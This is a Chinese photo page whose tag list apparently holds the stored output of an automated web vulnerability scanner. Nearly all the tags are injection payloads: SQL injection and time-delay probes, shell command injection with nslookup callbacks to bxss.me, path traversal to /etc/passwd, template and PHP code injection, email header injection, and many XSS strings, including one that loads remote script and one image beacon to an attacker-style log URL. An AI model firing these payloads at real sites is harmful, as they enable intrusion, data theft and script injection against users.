×
照片标签：
- 1
- 19Ym2F7IzO
- response.write(9828222*9229391)
- '+response.write(9828222*9229391)+'
- "+response.write(9828222*9229391)+"
- echo zcupdc$()\ dyditg\nz^xyu||a #' &echo zcupdc$()\ dyditg\nz^xyu||a #|" &echo zcupdc$()\ dyditg\nz^xyu||a #
- &echo ajtelm$()\ uubeev\nz^xyu||a #' &echo ajtelm$()\ uubeev\nz^xyu||a #|" &echo ajtelm$()\ uubeev\nz^xyu||a #
- DGjoNpOO
- |echo cpacii$()\ pdzdbz\nz^xyu||a #' |echo cpacii$()\ pdzdbz\nz^xyu||a #|" |echo cpacii$()\ pdzdbz\nz^xyu||a #
- (nslookup hitjkgmijftmx5db85.bxss.me||perl -e "gethostbyname('hitjkgmijftmx5db85.bxss.me')")
- $(nslookup hitgbiyvvgvodbfcda.bxss.me||perl -e "gethostbyname('hitgbiyvvgvodbfcda.bxss.me')")
- &(nslookup hityzucanigiif13a9.bxss.me||perl -e "gethostbyname('hityzucanigiif13a9.bxss.me')")&'\"`0&(nslookup hityzucanigiif13a9.bxss.me||perl -e "gethostbyname('hityzucanigiif13a9.bxss.me')")&`'
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- |(nslookup hitymqcusqvvvd0606.bxss.me||perl -e "gethostbyname('hitymqcusqvvvd0606.bxss.me')")
- 1 bcc:074625.19568-236067.19568.14cba.19131.2@bxss.me
- `(nslookup hitxhxgnheufsb427a.bxss.me||perl -e "gethostbyname('hitxhxgnheufsb427a.bxss.me')")`
- to@example.com> bcc:074625.19568-236068.19568.14cba.19131.2@bxss.me
- ../1
- 12345'"\'\")
- GvaiqfpE
- 1<esi:include src="http://bxss.me/rpb.png"/>
- -1 OR 2+389-389-1=0+0+0+1 --
- -1 OR 2+624-624-1=0+0+0+1
- ${10000068+9999239}
- -1' OR 2+775-775-1=0+0+0+1 --
- -1' OR 2+314-314-1=0+0+0+1 or '4Wwir5RA'='
- -1" OR 2+52-52-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 1&n905841=v943622
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- )
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- 1some_inexistent_file_with_long_name .jpg
- !(()&&!|*|*|
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- '.gethostbyname(lc('hitfm'.'gnjlixyz203bd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(72).chr(104).chr(70).'
- Http://bxss.me/t/fit.txt
- '"()
- ^(#$!@#$)(()))******
- -1
- http://bxss.me/t/fit.txt?.jpg
- ".gethostbyname(lc("hitns"."sogoipei62105.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(71).chr(113).chr(69)."
- -1)
- 1 waitfor delay '0:0:15' --
- bxss.me
- QV7W6TAg'
- -5 OR 54=(SELECT 54 FROM PG_SLEEP(15))--
- -5) OR 609=(SELECT 609 FROM PG_SLEEP(15))--
- HttP://bxss.me/t/xss.html?%00
- -1)) OR 171=(SELECT 171 FROM PG_SLEEP(15))--
- "+"A".concat(70-3).concat(22*4).concat(100).concat(68).concat(118).concat(65)+(require"socket" Socket.gethostbyname("hitis"+"aoohatgnb65e5.bxss.me.")[3].to_s)+"
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- '
- bxss.me/t/xss.html?%00
- '+'A'.concat(70-3).concat(22*4).concat(112).concat(73).concat(120).concat(74)+(require'socket' Socket.gethostbyname('hitnr'+'nlmeybwaa89e8.bxss.me.')[3].to_s)+'
- 7jcToRgv' OR 347=(SELECT 347 FROM PG_SLEEP(15))--
- bibs
- "
- QFWiYOyf') OR 562=(SELECT 562 FROM PG_SLEEP(15))--
- bibs/.
- ${@print(md5(31337))}
- jbPDYNY6')) OR 135=(SELECT 135 FROM PG_SLEEP(15))--
- ${@print(md5(31337))}\
- '.print(md5(31337)).'
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- /xfs.bxss.me
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '"
- <!--
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1 %2527%2522
- @@1QjHI
- 1'"()&%<acx><ScRiPt >dr0m(9998)</ScRiPt>
- '"()&%<acx><ScRiPt >dr0m(9204)</ScRiPt>
- 19606396
- response.write(9936585*9370064)
- '+response.write(9936585*9370064)+'
- "+response.write(9936585*9370064)+"
- AhCt6egf
- echo tjjfns$()\ yzitiv\nz^xyu||a #' &echo tjjfns$()\ yzitiv\nz^xyu||a #|" &echo tjjfns$()\ yzitiv\nz^xyu||a #
- &echo ndsvmc$()\ dwmaog\nz^xyu||a #' &echo ndsvmc$()\ dwmaog\nz^xyu||a #|" &echo ndsvmc$()\ dwmaog\nz^xyu||a #
- |echo pqtjlh$()\ fjwwrb\nz^xyu||a #' |echo pqtjlh$()\ fjwwrb\nz^xyu||a #|" |echo pqtjlh$()\ fjwwrb\nz^xyu||a #
- (nslookup hitbxfwyzeken87499.bxss.me||perl -e "gethostbyname('hitbxfwyzeken87499.bxss.me')")
- $(nslookup hitqknpedgnut6f8fd.bxss.me||perl -e "gethostbyname('hitqknpedgnut6f8fd.bxss.me')")
- 1 bcc:074625.19568-296955.19568.14cba.19131.2@bxss.me
- &(nslookup hitzfdcxcyaux7c0b6.bxss.me||perl -e "gethostbyname('hitzfdcxcyaux7c0b6.bxss.me')")&'\"`0&(nslookup hitzfdcxcyaux7c0b6.bxss.me||perl -e "gethostbyname('hitzfdcxcyaux7c0b6.bxss.me')")&`'
- to@example.com> bcc:074625.19568-296956.19568.14cba.19131.2@bxss.me
- |(nslookup hitmwbhvlxzpne6cee.bxss.me||perl -e "gethostbyname('hitmwbhvlxzpne6cee.bxss.me')")
- `(nslookup hitzfddjrxtjgfdb34.bxss.me||perl -e "gethostbyname('hitzfddjrxtjgfdb34.bxss.me')")`
- ${10000415+10000254}
- 1&n910877=v998616
- 4IswHT3p
- -1 OR 2+242-242-1=0+0+0+1 --
- -1 OR 2+179-179-1=0+0+0+1
- -1' OR 2+509-509-1=0+0+0+1 --
- '.gethostbyname(lc('hitex'.'bjtxvdaw13ff4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(80).chr(122).chr(70).'
- ".gethostbyname(lc("hitec"."betmgybd8a235.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(72).chr(108).chr(77)."
- -1' OR 2+969-969-1=0+0+0+1 or 'fOCzKMlb'='
- -1" OR 2+711-711-1=0+0+0+1 --
- "+"A".concat(70-3).concat(22*4).concat(105).concat(82).concat(101).concat(69)+(require"socket" Socket.gethostbyname("hitfd"+"fpwciahfdf0a3.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(121).concat(72).concat(109).concat(85)+(require'socket' Socket.gethostbyname('hityu'+'iirxnlrz6b81d.bxss.me.')[3].to_s)+'
- 1'"()&%<acx><ScRiPt >nHed(9315)</ScRiPt>
- '"()&%<acx><ScRiPt >nHed(9146)</ScRiPt>
- c8NwFeOG'
- 19988053
- -5 OR 870=(SELECT 870 FROM PG_SLEEP(15))--
- -5) OR 460=(SELECT 460 FROM PG_SLEEP(15))--
- response.write(9243520*9058256)
- -1)) OR 826=(SELECT 826 FROM PG_SLEEP(15))--
- '+response.write(9243520*9058256)+'
- SP5wFEow
- XrF1CnZx' OR 710=(SELECT 710 FROM PG_SLEEP(15))--
- "+response.write(9243520*9058256)+"
- iP91x1iV') OR 773=(SELECT 773 FROM PG_SLEEP(15))--
- MB51qqNK')) OR 712=(SELECT 712 FROM PG_SLEEP(15))--
- 1%0abcc:074625.19568-297078.19568.0dfb4.19131.2@bxss.me
- to@example.com>%0d%0abcc:074625.19568-297079.19568.0dfb4.19131.2@bxss.me
- ${9999303+9999903}
- echo uyucuy$()\ immdlm\nz^xyu||a #' &echo uyucuy$()\ immdlm\nz^xyu||a #|" &echo uyucuy$()\ immdlm\nz^xyu||a #
- &echo esrtck$()\ wpjtjc\nz^xyu||a #' &echo esrtck$()\ wpjtjc\nz^xyu||a #|" &echo esrtck$()\ wpjtjc\nz^xyu||a #
- |echo ioxroy$()\ lfzodz\nz^xyu||a #' |echo ioxroy$()\ lfzodz\nz^xyu||a #|" |echo ioxroy$()\ lfzodz\nz^xyu||a #
- (nslookup hitgthajlhprx1393e.bxss.me||perl -e "gethostbyname('hitgthajlhprx1393e.bxss.me')")
- 1&n923964=v994933
- $(nslookup hitrnurrqbqdp5aedd.bxss.me||perl -e "gethostbyname('hitrnurrqbqdp5aedd.bxss.me')")
- @@YY3zZ
- &(nslookup hitkomuxotzwz95ea0.bxss.me||perl -e "gethostbyname('hitkomuxotzwz95ea0.bxss.me')")&'\"`0&(nslookup hitkomuxotzwz95ea0.bxss.me||perl -e "gethostbyname('hitkomuxotzwz95ea0.bxss.me')")&`'
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- '.gethostbyname(lc('hitfd'.'sgnfvbmn2ee87.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(80).chr(115).chr(71).'
- |(nslookup hitqkyewvlvzn71473.bxss.me||perl -e "gethostbyname('hitqkyewvlvzn71473.bxss.me')")
- ".gethostbyname(lc("hitbr"."ayiigywkb0625.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(82).chr(120).chr(82)."
- `(nslookup hitlnihsvwavi49eb5.bxss.me||perl -e "gethostbyname('hitlnihsvwavi49eb5.bxss.me')")`
- 1some_inexistent_file_with_long_name%00.jpg
- http://bxss.me/t/fit.txt%3F.jpg
- "+"A".concat(70-3).concat(22*4).concat(109).concat(79).concat(114).concat(66)+(require"socket" Socket.gethostbyname("hitek"+"koduzbdm7bdaa.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(115).concat(87).concat(121).concat(81)+(require'socket' Socket.gethostbyname('hitwx'+'xomhgrjwd662e.bxss.me.')[3].to_s)+'
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- ';print(md5(31337));$a='
- ";print(md5(31337));$a="
- 1'"()&%<acx><ScRiPt >NgJY(9562)</ScRiPt>
- '"()&%<acx><ScRiPt >NgJY(9411)</ScRiPt>
- 19288195
- acu10713%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca10713
- acux6758%C0%BEz1%C0%BCz2a%90bcxuca6758
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu3742%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca3742
- acux1928%C0%BEz1%C0%BCz2a%90bcxuca1928
- YtEr5X7i
- -1 OR 2+209-209-1=0+0+0+1 --
- -1 OR 2+764-764-1=0+0+0+1
- -1' OR 2+307-307-1=0+0+0+1 --
- -1' OR 2+715-715-1=0+0+0+1 or '4iqBTQGp'='
- -1" OR 2+834-834-1=0+0+0+1 --
- acu9572%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca9572
- acux1977%C0%BEz1%C0%BCz2a%90bcxuca1977
- -1; waitfor delay '0:0:15' --
- -1); waitfor delay '0:0:15' --
- I0p8eUwS'; waitfor delay '0:0:15' --
- -5 OR 585=(SELECT 585 FROM PG_SLEEP(15))--
- -5) OR 290=(SELECT 290 FROM PG_SLEEP(15))--
- -1)) OR 663=(SELECT 663 FROM PG_SLEEP(15))--
- ba3Op6ZY' OR 743=(SELECT 743 FROM PG_SLEEP(15))--
- f5JKA9Yg') OR 100=(SELECT 100 FROM PG_SLEEP(15))--
- 1%22onmouseover=NgJY(99252)%22
- HEdK4tFQ')) OR 130=(SELECT 130 FROM PG_SLEEP(15))--
- 1"onmouseover=NgJY(98852)"
- 1" HXE9=NgJY([!+!]) Ifx="
- 1\u0022onmouseover=NgJY(91083)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%4E%67%4A%59%28%39%33%38%35%34%29%22
- 1"sTYLe='acu:Expre/**/SSion(NgJY(9044))'bad="
- 1"><script>NgJY(9242)</script>
- 1<ScRiPt >NgJY(9124)</ScRiPt>
- 1<WFMYA6>LVOJM[!+!]</WFMYA6>
- 1<script>NgJY(9445)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4E%67%4A%59%28%39%34%36%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >NgJY(9293)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9890></ScRiPt>
- 1< ScRiPt >NgJY(9980)</ScRiPt>
- 1<isindex type=image src=1 onerror=NgJY(9792)>
- 1<iframe src='data:text/html;base64
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9811'>
- 1<body onload=NgJY(9872)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=NgJY(9307)>
- 1<img src=xyz OnErRor=NgJY(9645)>
- 1<img/src=">" onerror=alert(9844)>
- %31%3C%53%63%52%69%50%74%20%3E%4E%67%4A%59%289237%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\NgJY(9529)\u003C/sCripT\u003E
- 1<ScRiPt>NgJY(9358)</sCripT>
- 1<input autofocus onfocus=NgJY(9572)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(NgJY(9671))}
- 1J0X7W <ScRiPt >NgJY(9492)</ScRiPt>
- 1<WAH207>7QBFK[!+!]</WAH207>
- 1<ifRAme sRc=9878.com></IfRamE>
- 1<aLM7rBZ x=9278>
- 1<img sRc='http://attacker-9254/log.php?
- 1<aEMoQno<
- 1'"()&%<acx><ScRiPt >Qdey(9287)</ScRiPt>
- '"()&%<acx><ScRiPt >Qdey(9202)</ScRiPt>
- 19879802
- 1BSnBzdzItO
微信扫一扫, 保存到手机
